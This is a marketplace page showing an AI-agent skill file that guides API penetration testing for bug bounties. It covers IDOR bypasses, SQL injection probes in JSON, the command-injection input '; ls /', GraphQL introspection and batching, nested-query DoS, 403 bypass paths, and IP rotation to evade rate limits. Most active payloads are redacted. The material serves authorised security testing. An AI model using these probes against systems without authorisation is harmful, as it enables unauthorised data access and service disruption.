Skip to main content

api-fuzzing-bug-bounty

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Zur Installation springen

Quellinformationen

Repository
administrakt0r/AI-Agents-Safe-Coding-Skills
Letzte Quellaktivität
11. September 2026 um 09:06
Erkannte Sprache von SKILL.md
Englisch
Sterne
4
Forks
1

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
api-fuzzing-bug-bounty
description
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
risk
critical
source
community
author
zebbern
date_added
2026-02-27
> [!WARNING] > This skill contains patterns or instructions related to security testing and exploitation. Active payloads have been redacted to ensure safe usage. # API Fuzzing for Bug Bounty ## Purpose Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors. ## Inputs/Prerequisites - Burp Suite or similar proxy tool - API wordlists (SecLists, api_wordlist) - Understanding of REST/GraphQL/SOAP protocols - Python for scripting - Target API endpoints and documentation (if available) ## Outputs/Deliverables - Identified API vulnerabilities - IDOR exploitation proofs - Authentication bypass techniques - SQL injection points - Unauthorized data access documentation --- ## API Types Overview | Type | Protocol | Data Format | Structure | |------|----------|-------------|-----------| | SOAP | HTTP | XML | Header + Body | | REST | HTTP | JSON/XML/URL | Defined endpoints | | GraphQL | HTTP | Custom Query | Single endpoint | --- ## Core Workflow ### Step 1: API Reconnaissance Identify API type and enumerate endpoints: ```bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ``` ### Step 2: Authentication Testing ```bash # Test different login paths /api/mobile/login /api/v3/login /api/magic_link /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ``` ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: ```bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?user_id=111 instead of /?user_id=user@mail.com # Test /me/orders vs /user/654321/orders ``` **IDOR Bypass Techniques:** ```bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=<LEGIT>&id=<VICTIM> # Wildcard injection {"user_id":"*"} # Parameter pollution /api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>} ``` ### Step 4: Injection Testing **SQL Injection in JSON:** ```json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC ``` **Command Injection:** ```bash # Ruby on Rails ?url=Kernel#open → ?url=|[REDACTED-ACTIVE-PAYLOAD] # Linux command injection api.url.com/endpoint?name=file.txt;[REDACTED-ACTIVE-PAYLOAD] ``` **XXE Injection:** ```xml <!DOCTYPE test [ <!ENTITY xxe SYSTEM "[REDACTED-ACTIVE-PAYLOAD]"> ]> ``` **SSRF via API:** ```html <object data="[REDACTED-ACTIVE-PAYLOAD]"/> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> ``` **.NET Path.Combine Vulnerability:** ```bash # If .NET app uses Path.Combine(path_1, path_2) # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=[REDACTED-ACTIVE-PAYLOAD] https://example.org/download?filename=[REDACTED-ACTIVE-PAYLOAD] ``` ### Step 5: Method Testing ```bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ``` --- ## GraphQL-Specific Testing ### Introspection Query Fetch entire backend schema: ```graphql {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}} ``` **URL-encoded version:** ``` /graphql?query={__schema{types{name,kind,description,fields{name}}}} ``` ### GraphQL IDOR ```graphql # Try accessing other user IDs query { user(id: "OTHER_USER_ID") { email password creditCard } } ``` ### GraphQL SQL/NoSQL Injection ```graphql mutation { login(input: { email: "[REDACTED-ACTIVE-PAYLOAD]" password: "password" }) { success jwt } } ``` ### Rate Limit Bypass (Batching) ```graphql mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}} ``` ### GraphQL DoS (Nested Queries) ```graphql query { posts { comments { user { posts { comments { user { posts { ... } } } } } } } } ``` ### GraphQL XSS ```bash # XSS via GraphQL endpoint http://target.com/graphql?query={user(name:"[REDACTED-ACTIVE-PAYLOAD]"){id}} # URL-encoded XSS http://target.com/example?id=[REDACTED-ACTIVE-PAYLOAD] ``` ### GraphQL Tools | Tool | Purpose | |------|---------| | GraphCrawler | Schema discovery | | graphw00f | Fingerprinting | | clairvoyance | Schema reconstruction | | InQL | Burp extension | | GraphQLmap | Exploitation | --- ## Endpoint Bypass Techniques When receiving 403/401, try these bypasses: ```bash # Original blocked request /api/v1/users/sensitivedata → 403 # Bypass attempts /api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata ``` --- ## Output Exploitation ### PDF Export Attacks ```html <!-- LFI via PDF export --> <iframe src="[REDACTED-ACTIVE-PAYLOAD]" height=1000 width=800> <!-- SSRF via PDF export --> <object data="[REDACTED-ACTIVE-PAYLOAD]"/> <!-- Port scanning --> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> <!-- IP disclosure --> <img src="[REDACTED-ACTIVE-PAYLOAD]"/> ``` ### DoS via Limits ```bash # Normal request /api/news?limit=100 # DoS attempt /api/news?limit=9999999999 ``` --- ## Common API Vulnerabilities Checklist | Vulnerability | Description | |---------------|-------------| | API Exposure | Unprotected endpoints exposed publicly | | Misconfigured Caching | Sensitive data cached incorrectly | | Exposed Tokens | API keys/tokens in responses or URLs | | JWT Weaknesses | Weak signing, no expiration, algorithm confusion | | IDOR / BOLA | Broken Object Level Authorization | | Undocumented Endpoints | Hidden admin/debug endpoints | | Different Versions | Security gaps in older API versions | | Rate Limiting | Missing or bypassable rate limits | | Race Conditions | TOCTOU vulnerabilities | | XXE Injection | XML parser exploitation | | Content Type Issues | Switching between JSON/XML | | HTTP Method Tampering | GET→DELETE/PUT abuse | --- ## Quick Reference | Vulnerability | Test Payload | Risk | |---------------|--------------|------| | IDOR | Change user_id parameter | High | | SQLi | `' OR 1=1--` in JSON | Critical | | Command Injection | `; ls /` | Critical | | XXE | DOCTYPE with ENTITY | High | | SSRF | Internal IP in params | High | | Rate Limit Bypass | Batch requests | Medium | | Method Tampering | GET→DELETE | High | --- ## Tools Reference | Category | Tool | URL | |----------|------|-----| | API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi | | API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer | | API Fuzzing | Astra | github.com/flipkart-incubator/Astra | | API Security | apicheck | github.com/BBVA/apicheck | | API Discovery | Kiterunner | github.com/assetnote/kiterunner | | API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner | | API Toolkit | APIKit | github.com/API-Security/APIKit | | API Keys | API Guesser | api-guesser.netlify.app | | GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 | | GraphQL | InQL | github.com/doyensec/inql | | GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler | | GraphQL | graphw00f | github.com/dolevf/graphw00f | | GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance | | GraphQL | batchql | github.com/assetnote/batchql | | GraphQL | graphql-cop | github.com/dolevf/graphql-cop | | Wordlists | SecLists | github.com/danielmiessler/SecLists | | Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ | | Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes | | API Mindmap | MindAPI | dsopas.github.io/MindAPI/play | | JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths | --- ## Constraints **Must:** - Test mobile, web, and developer APIs separately - Check all API versions (/v1, /v2, /v3) - Validate both authenticated and unauthenticated access **Must Not:** - Assume same security controls across API versions - Skip testing undocumented endpoints - Ignore rate limiting checks **Should:** - Add `X-Requested-With: XMLHttpRequest` header to simulate frontend - Check archive.org for historical API endpoints - Test for race conditions on sensitive operations --- ## Examples ### Example 1: IDOR Exploitation ```bash # Original request (own data) GET /api/v1/invoices/12345 Authorization: Bearer <token> # Modified request (other user's data) GET /api/v1/invoices/12346 Authorization: Bearer <token> # Response reveals other user's invoice data ``` ### Example 2: GraphQL Introspection ```bash curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name}}}}"}' ``` --- ## Troubleshooting | Issue | Solution | |-------|----------| | API returns nothing | Add `X-Requested-With: XMLHttpRequest` header | | 401 on all endpoints | Try adding `?user_id=1` parameter | | GraphQL introspection disabled | Use clairvoyance for schema reconstruction | | Rate limited | Use IP rotation or batch requests | | Can't find endpoints | Check Swagger, archive.org, JS files | ## When to Use This skill is applicable to execute the workflow or actions described in the overview.
Auf GitHub ansehen